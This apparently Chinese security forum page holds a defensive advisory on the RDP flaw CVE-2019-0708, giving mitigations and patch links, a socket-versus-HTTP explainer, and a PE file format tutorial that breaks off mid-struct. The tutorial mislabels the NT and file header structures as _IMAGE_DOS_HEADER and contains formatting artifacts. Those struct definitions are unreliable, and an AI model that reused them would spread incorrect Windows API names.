漏洞预警-Windows远程桌面服务远程代码执行漏洞(CVE-2019-0708)

安全资讯zksmile 发表了文章 • 0 个评论 • 41 次浏览 • 4 天前 • 来自相关话题

漏洞背景5月14日,微软官方5月份发布了安全补丁更新,其中Windows远程桌面服务远程代码执行漏洞(CVE-2019-0708),影响范围广。本次漏洞的影响程度严重,微软也针对已经停止更新的windows版本也发布了安全补丁。
目前暂未公布漏洞细节,建议在系统影响范围内的用户尽快安装补丁进行修复。漏洞描述远程桌面服务(以前称为终端服务)中存在远程执行代码漏洞。当未经身份验证的攻击者使用RDP连接到目标系统并发送特制请求时,成功利用此漏洞的攻击者可以在目标系统上执行任意代码漏洞编号CVE-2019-0708漏洞等级高危


影响范围Windows 7 for 32-bit SP1

Windows 7 for x64-based SP1

Windows Server 2008 for 32-bit SP2

Windows Server 2008 for 32-bit SP2 (Server Core installation)

Windows Server 2008 for Itanium-Based SP2

Windows Server 2008 for x64-based SP2

Windows Server 2008 for x64-based SP2 (Server Core installation)

Windows Server 2008 R2 for Itanium-BasedSystems SP1

Windows Server 2008 R2 for x64-based SP1

Windows Server 2008 R2 for x64-based SP1 (Server Core installation)

Windows XP SP3 x86

Windows XP SP2 x64

Windows XP Embedded SP3 x86

Windows Server 2003 SP2 x86

Windows Server 2003 SP2 x64


缓解措施1.如果不需要,请禁用远程桌面服务
如果您的系统不再需要这些服务,请考虑禁用它们作为安全性最佳实践。禁用未使用和不需要的服务有助于减少您的安全漏洞风险。
2.启用网络级别身份验证(NLA)
启用网络级别身份验证,以阻止未经身份验证的攻击者利用此漏洞。启用NLA后,攻击者首先需要使用目标系统上的有效帐户对远程桌面服务进行身份验证,然后才能利用此漏洞。
3.外网防火墙处阻止TCP端口3389
TCP端口3389用于启动与受影响组件的连接。在网络外围防火墙处阻止此端口将有助于保护防火墙后面的系统免于尝试利用此漏洞。这有助于保护网络免受来自企业外部的攻击。阻止企业外围的受影响端口是帮助避免基于Internet的攻击的最佳防御。但是,系统仍然可能容易受到企业外围攻击。


修复建议1、及时安装更新

对于Windows 7及Windows Server 2008的用户,及时安装Windows发布的安全更新。

[url](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708)[/url]

2、升级到最新版本

对于Windows 2003及Windows XP的用户,请及时更新到最新系统版本。微软在KB4500705中为这些不支持的Windows版本提供了修复程序。

[url](https://support.microsoft.com/zh-cn/help/4500705/customer-guidance-for-cve-2019-0708)[/url]

应急电话010-86460828-8002 查看全部
漏洞背景
5月14日,微软官方5月份发布了安全补丁更新,其中Windows远程桌面服务远程代码执行漏洞(CVE-2019-0708),影响范围广。本次漏洞的影响程度严重,微软也针对已经停止更新的windows版本也发布了安全补丁。
目前暂未公布漏洞细节,建议在系统影响范围内的用户尽快安装补丁进行修复。
漏洞描述
远程桌面服务(以前称为终端服务)中存在远程执行代码漏洞。当未经身份验证的攻击者使用RDP连接到目标系统并发送特制请求时,成功利用此漏洞的攻击者可以在目标系统上执行任意代码
漏洞编号
CVE-2019-0708
漏洞等级
高危


影响范围
Windows 7 for 32-bit SP1

Windows 7 for x64-based SP1

Windows Server 2008 for 32-bit SP2

Windows Server 2008 for 32-bit SP2 (Server Core installation)

Windows Server 2008 for Itanium-Based SP2

Windows Server 2008 for x64-based SP2

Windows Server 2008 for x64-based SP2 (Server Core installation)

Windows Server 2008 R2 for Itanium-BasedSystems SP1

Windows Server 2008 R2 for x64-based SP1

Windows Server 2008 R2 for x64-based SP1 (Server Core installation)

Windows XP SP3 x86

Windows XP SP2 x64

Windows XP Embedded SP3 x86

Windows Server 2003 SP2 x86

Windows Server 2003 SP2 x64


缓解措施
1.如果不需要,请禁用远程桌面服务
如果您的系统不再需要这些服务,请考虑禁用它们作为安全性最佳实践。禁用未使用和不需要的服务有助于减少您的安全漏洞风险。
2.启用网络级别身份验证(NLA)
启用网络级别身份验证,以阻止未经身份验证的攻击者利用此漏洞。启用NLA后,攻击者首先需要使用目标系统上的有效帐户对远程桌面服务进行身份验证,然后才能利用此漏洞。
3.外网防火墙处阻止TCP端口3389
TCP端口3389用于启动与受影响组件的连接。在网络外围防火墙处阻止此端口将有助于保护防火墙后面的系统免于尝试利用此漏洞。这有助于保护网络免受来自企业外部的攻击。阻止企业外围的受影响端口是帮助避免基于Internet的攻击的最佳防御。但是,系统仍然可能容易受到企业外围攻击。


修复建议
1、及时安装更新

对于Windows 7及Windows Server 2008的用户,及时安装Windows发布的安全更新。

[url](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708)[/url]

2、升级到最新版本

对于Windows 2003及Windows XP的用户,请及时更新到最新系统版本。微软在KB4500705中为这些不支持的Windows版本提供了修复程序。

[url](https://support.microsoft.com/zh-cn/help/4500705/customer-guidance-for-cve-2019-0708)[/url]

应急电话
010-86460828-8002

socket与http协议的关系

协议安全jizi_smile 发表了文章 • 0 个评论 • 17 次浏览 • 2019-05-12 21:02 • 来自相关话题

Socket:
Socket本身并不是协议,而是一个调用接口(API),它只是提供了一个针对TCP或者UDP编程的接口。​
socket是对TCP/IP协议的封装和应用,TPC/IP协议是传输层协议,主要解决数据如何在网络中传输
通过Socket,我们才能使用TCP/IP协议。实际上,Socket跟TCP/IP协议没有必然的联系。Socket编程接口在设计的时候,就希望也能适应其他的网络协议。所以说,Socket的出现只是使得程序员更方便地使用TCP/IP协议栈而已,是对TCP/IP协议的抽象,从而形成了我们知道的一些最基本的函数接口,比如create、listen、connect、accept、send、read和write等等。
 
Socket和TCP/IP协议的关系
网络有一段关于socket和TCP/IP协议关系的说法比较容易理解:“TCP/IP只是一个协议栈,就像操作系统的运行机制一样,必须要具体实现,同时还要提供对外的操作接。
这个就像操作系统会提供标准的编程接口,比如win32编程接口一样,
TCP/IP也要提供可供程序员做网络开发所用的接口,这就是Socket编程接口。”HTTP和Socket的关系
CSDN上有个比较形象的描述:
HTTP是轿车,提供了封装或者显示数据的具体形式;Socket是发动机,提供了网络通信的能力。利用Socket建立网络连接的步骤
 
建立Socket连接至少需要一对套接字,其中一个运行于客户端,称为ClientSocket ,另一个运行于服务器端,称为ServerSocket 。
1、服务器监听:服务器端套接字并不定位具体的客户端套接字,而是处于等待连接的状态,实时监控网络状态,等待客户端的连接请求。
2、客户端请求:指客户端的套接字提出连接请求,要连接的目标是服务器端的套接字。为此,客户端的套接字必须首先描述它要连接的服务器的套接字,指出服务器端套接字的地址和端口号,然后就向服务器端套接字提出连接请求。
3、连接确认:当服务器端套接字监听到或者说接收到客户端套接字的连接请求时,就响应客户端套接字的请求,建立一个新的线程,把服务器端套接字的描述发给客户端,一旦客户端确认了此描述,双方就正式建立连接。
而服务器端套接字继续处于监听状态,继续接收其他客户端套接字的连接请求。HTTP链接的特点
HTTP协议即超文本传送协议(Hypertext Transfer Protocol ),是Web联网的基础,也是手机联网常用的协议之一,HTTP协议是建立在TCP协议之上的一种应用。
HTTP连接最显著的特点是客户端发送的每次请求都需要服务器回送响应,在请求结束后,会主动释放连接。从建立连接到关闭连接的过程称为“一次连接”。
 
 
发这篇文章是因为看python全栈视频的时候老师说全部是用socket链接起来的emm。。。。
节选自:(https://blog.csdn.net/wangnan9279/article/details/77895261) 查看全部
Socket:
Socket本身并不是协议,而是一个调用接口(API),它只是提供了一个针对TCP或者UDP编程的接口。​
socket是对TCP/IP协议的封装和应用,TPC/IP协议是传输层协议,主要解决数据如何在网络中传输
通过Socket,我们才能使用TCP/IP协议。实际上,Socket跟TCP/IP协议没有必然的联系。Socket编程接口在设计的时候,就希望也能适应其他的网络协议。所以说,Socket的出现只是使得程序员更方便地使用TCP/IP协议栈而已,是对TCP/IP协议的抽象,从而形成了我们知道的一些最基本的函数接口,比如create、listen、connect、accept、send、read和write等等。
 
Socket和TCP/IP协议的关系
网络有一段关于socket和TCP/IP协议关系的说法比较容易理解:
“TCP/IP只是一个协议栈,就像操作系统的运行机制一样,必须要具体实现,同时还要提供对外的操作接。
这个就像操作系统会提供标准的编程接口,比如win32编程接口一样,
TCP/IP也要提供可供程序员做网络开发所用的接口,这就是Socket编程接口。”
HTTP和Socket的关系
CSDN上有个比较形象的描述:
HTTP是轿车,提供了封装或者显示数据的具体形式;Socket是发动机,提供了网络通信的能力。
利用Socket建立网络连接的步骤
 
建立Socket连接至少需要一对套接字,其中一个运行于客户端,称为ClientSocket ,另一个运行于服务器端,称为ServerSocket 。
1、服务器监听:服务器端套接字并不定位具体的客户端套接字,而是处于等待连接的状态,实时监控网络状态,等待客户端的连接请求。
2、客户端请求:指客户端的套接字提出连接请求,要连接的目标是服务器端的套接字。为此,客户端的套接字必须首先描述它要连接的服务器的套接字,指出服务器端套接字的地址和端口号,然后就向服务器端套接字提出连接请求。
3、连接确认:当服务器端套接字监听到或者说接收到客户端套接字的连接请求时,就响应客户端套接字的请求,建立一个新的线程,把服务器端套接字的描述发给客户端,一旦客户端确认了此描述,双方就正式建立连接。
而服务器端套接字继续处于监听状态,继续接收其他客户端套接字的连接请求。
HTTP链接的特点
HTTP协议即超文本传送协议(Hypertext Transfer Protocol ),是Web联网的基础,也是手机联网常用的协议之一,HTTP协议是建立在TCP协议之上的一种应用。
HTTP连接最显著的特点是客户端发送的每次请求都需要服务器回送响应,在请求结束后,会主动释放连接。从建立连接到关闭连接的过程称为“一次连接”。
 
 
发这篇文章是因为看python全栈视频的时候老师说全部是用socket链接起来的emm。。。。
节选自:(https://blog.csdn.net/wangnan9279/article/details/77895261)

PE 文件格式1

REVERSE-逆向snow 发表了文章 • 0 个评论 • 25 次浏览 • 2019-05-12 19:58 • 来自相关话题

 
0X01:概述      
       PE文件的全称是Portable Executable,=10pt意为可移植的可执行的文件,是 Windows 操作系统下使用的可执行文件格式。它是微软在 UNIX 平台的 COFF(通用对象文件格式)基础上制作而成的。最初设计用来提高程序在不同操作系统上的移植性,但实际上这种文件格式仅用在 Windows 系列的操作系统下。
        PE 文件是指32位的可执行文件,也称为 PE32。64位的可执行文件称之为 PE+ 或 PE32+,只是对 PE 格式做了一些简单的修饰,并没有新结构加进去。
 
0X02:PE 文件种类
 
--------------------------------------------------------------
种类                                    主拓展名
-------------------------------------------------------------
可执行系列                          EXE、SCR
-------------------------------------------------------------
库系列                                 DLL、OCX、CPL、DRV
-------------------------------------------------------------
驱动程序系列                       SYS、VXD
-------------------------------------------------------------
对象文件系列                       OBJ
-------------------------------------------------------------       严格地说,上述所有种类文件中,除了 OBJ 文件之外的所有文件都是可执行的。DLL、SYS 文件虽然不能直接在 Shell 中运行,但是也可以使用其他方法(调试器、服务等)执行。
 
0X03:PE 文件格式
  
0X03.1:基本结构
    PE 文件使用的是一个平面地址空间,所有的代码和数据都被合并在一起,组成了一个很大的结构,文件内容被分为不同的区块。区块没有大小限制,是一个连续结构。
    PE 文件的基本格式分为 PE 头和 PE 体。
    PE 头又分为 DOS 头,DOS 存根,NT 头和节区头。
    文件内容按照不同的用途分类保存到不同的节区中,一般可分为代码(.text)、数据(.data)、资源(.rsrc)节,方便保存。
    各节区头定义了各节区在文件和内存中的大小,位置,属性等。
    PE 头和各节区的尾部存在一个区域,称为 NULL填充。这是因为在计算机中为了提高处理效率,使用了“最小基本单位”这一概念。PE 文件也一样,文件/内存中节区的起始位置应处在最小单位的倍数位置上,空白区域使用 NULL 填充。在文件中,一基本单位为 0X200 字节(512字节);内存中,一基本单位为 0X1000 字节(4KB)。
----------------------
DOS 头
----------------------
DOS 存根
----------------------
NT 头
----------------------
节区头(.text)
---------------------
节区头(.data)
---------------------
节区头(.rsrc)
---------------------
NULL
---------------------
节区(.text)
---------------------
NULL
---------------------
节区(.data)
---------------------
NULL
---------------------
节区(.rsrc)
--------------------- 
0X03.2:加载
        PE 装载器将 PE 文件以映射的方式从磁盘映射到内存中,这个 PE 装载器就是 Windows 装载器,它并不是将 PE 文件作为单一内存映射文件装入到内存中的。而是去遍历 PE 文件,决定将哪一部分进行映射,这种映射方式是将文件较高的偏移地址映射到较高的内存地址,当磁盘文件装入内存中时,其数据结构布局是一致的,但是数据之间的相对位置可能会改变。
 





 
        在文件中使用偏移(offset),内存中使用 VA( Virtual Address,虚拟地址)来表示位置。在映射时文件被加载到内存的开始位置叫做基址(ImageBase)。
默认情况下,EXE 文件基址为 0X400000(4M),DLL 文件的基址为 0X10000000。
        VA 是指进程虚拟内存的绝对地址,RVA(相对虚拟地址)是指从 ImageBase 开始的相对地址。所以 VA = RVA + ImageBase。在32位的 Windows 系统中,每个进程都分配有4 GB 的虚拟内存,因此进程中 VA 的范围是 00000000 ~ FFFFFFFF。
        在 PE 头内存信息大多以 RVA 的形式存在。原因在于,每个EXE 文件都有独立的内存空间,但一个 EXE 文件可能加载了不止一个 DLL 文件。每个 DLL 文件的默认基址地址都是 0X10000000。所以当 DLL 文件加载到进程虚拟内存的特定地址时,该位置可能已经加载了其他 PE文件(DLL)。此时必须通过重定位将其加载到其他空白的位置,若 PE 头信息使用的是 VA,则无法正常访问。因此使用 RVA 来定位,这样即使发生了重定位,也能正常访问到指定信息。
 
0X3.3:PE 头
 
0X3.3.1:DOS 头
        DOS 头是微软为了 PE 文件对 DOS 文件的兼容性,在 PE 头的最前面添加了一个 IMAGE_DOS_HEADER 结构体。该结构体大小为64字节。具体结构如下:typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
WORD e_magic; // Magic number设置ox5A4D ascii码值为'MZ'(标志,不会变的标志)
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; //PE头文件的偏移地址
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
 
        该结构体的两个重要成员分别是首部和尾部的 e_magic 和 e_lfanew。
        e_magic:DOS 签名,在文件中十六进制为 4D5A,ASCII 值为“MZ”, =10pt是 MS-DOS 的最初创建者之一 Mark Zbikowski 字母的缩写。在所有的 PE 文件开始部分,都有 DOS 签名。
        e_lfanew:标注 NT 头的偏移,通常32位的系统下值为 000000E0,64位的系统下值为 000000F0。
        下图即为我电脑上 notepad.exe(即记事本程序)的 DOS 头。
       




 
 
0X03.3.2:DOS 存根
        DOS存根在 DOS 头的下方,且大小不固定。用来在 DOS 环境下执行文件。即便没有 DOS 存根,文件也可以正常运行。DOS 存根由代码和数据混合而成。
      




 
 
0X3.3.3:NT 头
        NT 头也是一个结构体,叫做 IMAGE_NT_HEADERS 结构体,由三个成员组成:typedef struct _IMAGE_DOS_HEADER
{
DWORD Signature; //PE Signature : 50450000("PE"00)
IMAGE_FILE_HEADER FileHeader; //文件头结构体
IMAGE_ OPTIONAL_HEADER32 OptionalHeader; //可选头结构体
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER32;
 
        第一个成员是签名结构体,其值为 50450000(“PE”00),如图:
      





 
        其他两个成员分别是文件头和可选头结构体。
 
0X3.3.4:文件头
        文件头是表现文件大致属性的 IMAGE_FILE_HEADER 结构体:typedef struct _IMAGE_DOS_HEADER
{
WORD Machine; //每个CPU都拥有唯一的machine码
WORD NumberOfSections; //节区数量,当定义节区数与实际不同时会发生错误
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader; //IMAGE_OPTIONAL_HEADER32结构体的大小,固定的
WORD Characteristics; //文件属性,0x0002h为可执行文件,0x2000h为DLL文件
} IMAGE_DOS_HEADER
    
        该结构体有四种重要成员(若设置不正确,则文件无法正常运行):
        1.Machine: =10pt两个字节,用来标识CPU型号。
        2.NumberOfSections:用来指出文件中节区的数量。该值一定要大于0,且当定义的节区数量和实际不同时,将发生运行错误。
        3.SizeOfOptionalHeader:用来指出 NT 头的第三个成员 IMAGE_OPTIONAL_HEADER32 结构体的长度。PE32+ 格式的文件中使用的是          IMAGE_OPTIONAL_HEADER64 结 构体,两个结构体的长度是不一样的。32位下通常长度为 00E0h(224字节),64位下长度通常为 00F0h(240字节)。
        4.Characteristics:用来标识文件的属性,如文件是否是可运行的形态,是否为 DLL 文件等信息,以 bit OR 的形式组合起来, 每一位代表一种信息,共两位。
 
        notepad.exe中的文件头:
      





 
0X03.3.5:可选头
        可选头是 PE 头结构体中最大的,该结构体定义如下:typedef struct _IMAGE_OPTIONAL_HEADER {
WORD Magic; //标志字(32位时0x10Bh)
BYTE MajorLinkerVersion; //连接器版本号
BYTE MinorLinkerVersion; //
DWORD SizeOfCode; //代码段大小
DWORD SizeOfInitializedData; //已初始化数据块大小
DWORD SizeOfUninitializedData; //未初始化数据块大小
DWORD AddressOfEntryPoint; //EP的RVA值,程序最先执行代码的地址
DWORD BaseOfCode; //代码段起始RVA
DWORD BaseOfData; //数据段起始RVA
DWORD ImageBase; //PE文件的装载地址
DWORD SectionAlignment; //块对齐,节区在内存中最小单位
DWORD FileAlignment; //文件块对齐,节区在文件中的最小单位
WORD MajorOperatingSystemVersion;//所需操作系统版本号
WORD MinorOperatingSystemVersion;//
WORD MajorImageVersion; //用户自定义版本号
WORD MinorImageVersion; //
WORD MajorSubsystemVersion; //win32子系统版本。若PE文件是专门为Win32设计的
WORD MinorSubsystemVersion; //该子系统版本必定是4.0否则对话框不会有3维立体感
DWORD Win32VersionValue; //保留
DWORD SizeOfImage; //内存中整个PE映像体的尺寸
DWORD SizeOfHeaders; //所有头+节表的大小,即整个PE头的大小
DWORD CheckSum; //校验和
WORD Subsystem; //NT用来识别PE文件属于哪个子系统(系统驱动、GUI、CUI)
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes; //指定DataDirectory数组的个数
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];//IMAGE_DATA_DIRECTORY 结构数组。每个结构给出一个重要数据结构的RVA,比如引入地址表等
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
 
        重要成员有:
        1.Magic:标志字,32系统为 010B,64位系统为 020B。
        2.AddressOfEntryPoint:RVA值,指出程序最先执行的代码起始地址,相当重要
        3.ImageBase:指出文件的基址。
        4.SizeOfImage:标识着文件加载到内存时的大小。一般而言,文件的大小和加载到内存中的大小是不同的。
        5.SizeOfHeaders:标识整个 PE 头的大小,该值必须是 FileAlignment 的整数倍。
        6.Subsystem:用来区分系统驱动文件和普通的可执行文件。
        7.NumberOfRvaAndSizes:用来指定 IMAGE_OPTIONAL_HEADER32 结构体最后一个成员(DataDiretory数组)的个数。默认是16,但也可能不是16。
        8.DataDirectory:是由 IMAGE_DATA_DIRECTORY 结构体组成的数组,每个元素都记录着 PE 文件的重要数据结构,如图:
        





 
 
0X03.36:节区头
        在节区头中定义了各节区的属性。节区属性中有节区在文件/内存中的起始位置、大小、访问权限等。
        不同内存属性的访问权限如下:
 ------------------------------------------
类别                               访问权限
-------------------------------------------
code                             执行,读取权限
-------------------------------------------data                              非执行,读写权限
--------------------------------------------resource                       非执行,读取权限
---------------------------------------------        节区头是由 IMAGE_SECTION_HEADER 结构体组成的数组,每个结构体对应一个节区:
    #define IMAGE_SIZEOF_SHORT_NAME 8typedef struct _IMAGE_SECTION_HEADER{
BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; // 8个字节的节区名称
union {
DWORD PhysicalAddress;
DWORD VirtualSize; //内存中节区的大小
} Misc;
DWORD VirtualAddress; // 内存中节区的起始地址(RVA)
DWORD SizeOfRawData; // 磁盘中文件中节区所占大小
DWORD PointerToRawData; // 磁盘中文件的起始位置
DWORD PointerToRelocations; // 在OBJ文件中使用,重定位的偏移
DWORD PointerToLinenumbers; // 行号表的偏移(供调试使用地)
WORD NumberOfRelocations; // 在OBJ文件中使用,重定位项数目
WORD NumberOfLinenumbers; // 行号表中行号的数目
DWORD Characteristics; // 节属性如可读,可写,可执行等
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
 
        第一个成员是 Name:默认为8个字节,PE 规范未明确规定节区的 Name,所有可以向其中放入任何值。
        第二个成员是一个联合体,4个字节,一般来说存储虚拟大小,即该节区在内存中的大小。
        第三个成员是虚拟地址,是一个 RVA,标识着内存中节区的起始地址。
        第四个成员和第五个成员分别标识着在文件中的大小和在文件中的起始偏移。
        最后一个成员则标识着节区属性,也是以 bit OR 的形式组合在一起的。
  查看全部
 
0X01:概述      
       PE文件的全称是Portable Executable,=10pt意为可移植的可执行的文件,是 Windows 操作系统下使用的可执行文件格式。它是微软在 UNIX 平台的 COFF(通用对象文件格式)基础上制作而成的。最初设计用来提高程序在不同操作系统上的移植性,但实际上这种文件格式仅用在 Windows 系列的操作系统下。
        PE 文件是指32位的可执行文件,也称为 PE32。64位的可执行文件称之为 PE+ 或 PE32+,只是对 PE 格式做了一些简单的修饰,并没有新结构加进去。
 
0X02:PE 文件种类
 
--------------------------------------------------------------
种类                                    主拓展名
-------------------------------------------------------------
可执行系列                          EXE、SCR
-------------------------------------------------------------
库系列                                 DLL、OCX、CPL、DRV
-------------------------------------------------------------
驱动程序系列                       SYS、VXD
-------------------------------------------------------------
对象文件系列                       OBJ
-------------------------------------------------------------       严格地说,上述所有种类文件中,除了 OBJ 文件之外的所有文件都是可执行的。DLL、SYS 文件虽然不能直接在 Shell 中运行,但是也可以使用其他方法(调试器、服务等)执行。
 
0X03:PE 文件格式
  
0X03.1:基本结构
    PE 文件使用的是一个平面地址空间,所有的代码和数据都被合并在一起,组成了一个很大的结构,文件内容被分为不同的区块。区块没有大小限制,是一个连续结构。
    PE 文件的基本格式分为 PE 头和 PE 体。
    PE 头又分为 DOS 头,DOS 存根,NT 头和节区头。
    文件内容按照不同的用途分类保存到不同的节区中,一般可分为代码(.text)、数据(.data)、资源(.rsrc)节,方便保存。
    各节区头定义了各节区在文件和内存中的大小,位置,属性等。
    PE 头和各节区的尾部存在一个区域,称为 NULL填充。这是因为在计算机中为了提高处理效率,使用了“最小基本单位”这一概念。PE 文件也一样,文件/内存中节区的起始位置应处在最小单位的倍数位置上,空白区域使用 NULL 填充。在文件中,一基本单位为 0X200 字节(512字节);内存中,一基本单位为 0X1000 字节(4KB)。
----------------------
DOS 头
----------------------
DOS 存根
----------------------
NT 头
----------------------
节区头(.text)
---------------------
节区头(.data)
---------------------
节区头(.rsrc)
---------------------
NULL
---------------------
节区(.text)
---------------------
NULL
---------------------
节区(.data)
---------------------
NULL
---------------------
节区(.rsrc)
--------------------- 
0X03.2:加载
        PE 装载器将 PE 文件以映射的方式从磁盘映射到内存中,这个 PE 装载器就是 Windows 装载器,它并不是将 PE 文件作为单一内存映射文件装入到内存中的。而是去遍历 PE 文件,决定将哪一部分进行映射,这种映射方式是将文件较高的偏移地址映射到较高的内存地址,当磁盘文件装入内存中时,其数据结构布局是一致的,但是数据之间的相对位置可能会改变。
 

Image.png

 
        在文件中使用偏移(offset),内存中使用 VA( Virtual Address,虚拟地址)来表示位置。在映射时文件被加载到内存的开始位置叫做基址(ImageBase)。
默认情况下,EXE 文件基址为 0X400000(4M),DLL 文件的基址为 0X10000000。
        VA 是指进程虚拟内存的绝对地址,RVA(相对虚拟地址)是指从 ImageBase 开始的相对地址。所以 VA = RVA + ImageBase。在32位的 Windows 系统中,每个进程都分配有4 GB 的虚拟内存,因此进程中 VA 的范围是 00000000 ~ FFFFFFFF。
        在 PE 头内存信息大多以 RVA 的形式存在。原因在于,每个EXE 文件都有独立的内存空间,但一个 EXE 文件可能加载了不止一个 DLL 文件。每个 DLL 文件的默认基址地址都是 0X10000000。所以当 DLL 文件加载到进程虚拟内存的特定地址时,该位置可能已经加载了其他 PE文件(DLL)。此时必须通过重定位将其加载到其他空白的位置,若 PE 头信息使用的是 VA,则无法正常访问。因此使用 RVA 来定位,这样即使发生了重定位,也能正常访问到指定信息。
 
0X3.3:PE 头
 
0X3.3.1:DOS 头
        DOS 头是微软为了 PE 文件对 DOS 文件的兼容性,在 PE 头的最前面添加了一个 IMAGE_DOS_HEADER 结构体。该结构体大小为64字节。具体结构如下:
typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
WORD e_magic; // Magic number设置ox5A4D ascii码值为'MZ'(标志,不会变的标志)
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; //PE头文件的偏移地址
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

 
        该结构体的两个重要成员分别是首部和尾部的 e_magic 和 e_lfanew。
        e_magic:DOS 签名,在文件中十六进制为 4D5A,ASCII 值为“MZ”, =10pt是 MS-DOS 的最初创建者之一 Mark Zbikowski 字母的缩写在所有的 PE 文件开始部分,都有 DOS 签名。
        e_lfanew:标注 NT 头的偏移,通常32位的系统下值为 000000E0,64位的系统下值为 000000F0。
        下图即为我电脑上 notepad.exe(即记事本程序)的 DOS 头。
       
Image.png

 
 
0X03.3.2:DOS 存根
        DOS存根在 DOS 头的下方,且大小不固定。用来在 DOS 环境下执行文件。即便没有 DOS 存根,文件也可以正常运行。DOS 存根由代码和数据混合而成。
      
2.png

 
 
0X3.3.3:NT 头
        NT 头也是一个结构体,叫做 IMAGE_NT_HEADERS 结构体,由三个成员组成:
typedef struct _IMAGE_DOS_HEADER
{
DWORD Signature; //PE Signature : 50450000("PE"00)
IMAGE_FILE_HEADER FileHeader; //文件头结构体
IMAGE_ OPTIONAL_HEADER32 OptionalHeader; //可选头结构体
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER32;

 
        第一个成员是签名结构体,其值为 50450000(“PE”00),如图:
      
3.png


 
        其他两个成员分别是文件头和可选头结构体。
 
0X3.3.4:文件头
        文件头是表现文件大致属性的 IMAGE_FILE_HEADER 结构体:
typedef struct _IMAGE_DOS_HEADER
{
WORD Machine; //每个CPU都拥有唯一的machine码
WORD NumberOfSections; //节区数量,当定义节区数与实际不同时会发生错误
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader; //IMAGE_OPTIONAL_HEADER32结构体的大小,固定的
WORD Characteristics; //文件属性,0x0002h为可执行文件,0x2000h为DLL文件
} IMAGE_DOS_HEADER

    
        该结构体有四种重要成员(若设置不正确,则文件无法正常运行):
        1.Machine: =10pt两个字节,用来标识CPU型号。
        2.NumberOfSections:用来指出文件中节区的数量。该值一定要大于0,且当定义的节区数量和实际不同时,将发生运行错误。
        3.SizeOfOptionalHeader:用来指出 NT 头的第三个成员 IMAGE_OPTIONAL_HEADER32 结构体的长度。PE32+ 格式的文件中使用的是          IMAGE_OPTIONAL_HEADER64 结 构体,两个结构体的长度是不一样的。32位下通常长度为 00E0h(224字节),64位下长度通常为 00F0h(240字节)。
        4.Characteristics:用来标识文件的属性,如文件是否是可运行的形态,是否为 DLL 文件等信息,以 bit OR 的形式组合起来, 每一位代表一种信息,共两位。
 
        notepad.exe中的文件头:
      
4.png


 
0X03.3.5:可选头
        可选头是 PE 头结构体中最大的,该结构体定义如下:
typedef struct _IMAGE_OPTIONAL_HEADER {
WORD Magic; //标志字(32位时0x10Bh)
BYTE MajorLinkerVersion; //连接器版本号
BYTE MinorLinkerVersion; //
DWORD SizeOfCode; //代码段大小
DWORD SizeOfInitializedData; //已初始化数据块大小
DWORD SizeOfUninitializedData; //未初始化数据块大小
DWORD AddressOfEntryPoint; //EP的RVA值,程序最先执行代码的地址
DWORD BaseOfCode; //代码段起始RVA
DWORD BaseOfData; //数据段起始RVA
DWORD ImageBase; //PE文件的装载地址
DWORD SectionAlignment; //块对齐,节区在内存中最小单位
DWORD FileAlignment; //文件块对齐,节区在文件中的最小单位
WORD MajorOperatingSystemVersion;//所需操作系统版本号
WORD MinorOperatingSystemVersion;//
WORD MajorImageVersion; //用户自定义版本号
WORD MinorImageVersion; //
WORD MajorSubsystemVersion; //win32子系统版本。若PE文件是专门为Win32设计的
WORD MinorSubsystemVersion; //该子系统版本必定是4.0否则对话框不会有3维立体感
DWORD Win32VersionValue; //保留
DWORD SizeOfImage; //内存中整个PE映像体的尺寸
DWORD SizeOfHeaders; //所有头+节表的大小,即整个PE头的大小
DWORD CheckSum; //校验和
WORD Subsystem; //NT用来识别PE文件属于哪个子系统(系统驱动、GUI、CUI)
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes; //指定DataDirectory数组的个数
IMAGE_DATA_DIRECTORY
